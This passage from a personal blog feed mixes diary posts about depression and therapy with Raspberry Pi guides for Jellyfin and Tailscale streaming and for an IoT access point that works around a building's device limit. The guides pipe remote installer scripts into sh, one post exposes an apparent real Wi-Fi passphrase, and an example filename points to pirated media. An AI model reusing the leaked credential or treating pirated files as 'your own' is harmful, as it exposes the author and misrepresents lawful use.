    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
    +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
    +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
    +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
    +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
    +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
    +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
    +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
    +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
    +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
    +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
    +=T3Em
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md.asc
    +gpg --verify 2025_highlight.md.asc 2025_highlight.md
    +  
    +
    + + +]]>
    Seeing the "Light"https://blog.alipour.eu/posts/seeing_the_light/Thu, 25 Dec 2025 11:26:04 +0000https://blog.alipour.eu/posts/seeing_the_light/<p>I have a strong hunch that I made it. I beat my MDD. I&rsquo;m finally happy! I&rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.</p> +<p>Currently I&rsquo;m sitting in Hamburg&rsquo;s CCH, being an Angel in disguise. ;D</p> +<p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.</p>I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.

    +

    Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D

    +

    I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.

    +

    I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he’s been wanting to talk to me about… well… something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.

    +

    He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to “give time to time”. So… yea. Idk. She will probably talk to me about this as time goes on. I don’t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.

    +

    Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.

    +

    As time goes by, and as I become more experienced, I feel more relieved.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
    +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz
    +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
    +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK
    +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0
    +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
    +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
    +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+
    +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V
    +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi
    +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4=
    +=xRmw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md.asc
    +gpg --verify seeing_the_light.md.asc seeing_the_light.md
    +  
    +
    + + +]]>
    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    How am I doing?https://blog.alipour.eu/posts/how_i_am_doing/Mon, 15 Dec 2025 08:27:13 +0000https://blog.alipour.eu/posts/how_i_am_doing/<p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I&rsquo;m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it&rsquo;s draining me. +Draining me of happiness, being in pursuit of happyness.</p> +<p>Idk what is wrong with me. Idk why I can&rsquo;t let go. I don&rsquo;t know why I need so much closure. Idk. I really don&rsquo;t. +What I know is that I&rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.</p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

    +

    Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

    +

    This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

    +

    Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

    +

    Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

    +

    He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
    +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
    +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
    +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
    +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
    +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
    +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
    +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
    ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
    +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
    +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
    +=NPxh
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md.asc
    +gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
    +  
    +
    + + +]]>
    Setting Boundrieshttps://blog.alipour.eu/posts/setting_boundries/Thu, 04 Dec 2025 14:38:36 +0000https://blog.alipour.eu/posts/setting_boundries/<p>I was watching <a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video</a> the other day. It&rsquo;s an interesting video imo. This is something I&rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?</p> +<p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &ldquo;nice person&rdquo;. I&rsquo;ve even been made fun of with those words.</p>I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

    +

    Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

    +

    All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

    +

    But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

    +

    So… I made a decision. To stay away from everyone. To make distance.

    +

    The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

    +

    The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

    +

    I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
    +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
    +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
    +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
    +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
    +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
    +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
    ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
    +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
    +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
    +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
    +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
    +=oJ5s
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md.asc
    +gpg --verify setting_boundries.md.asc setting_boundries.md
    +  
    +
    + + +]]>
    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

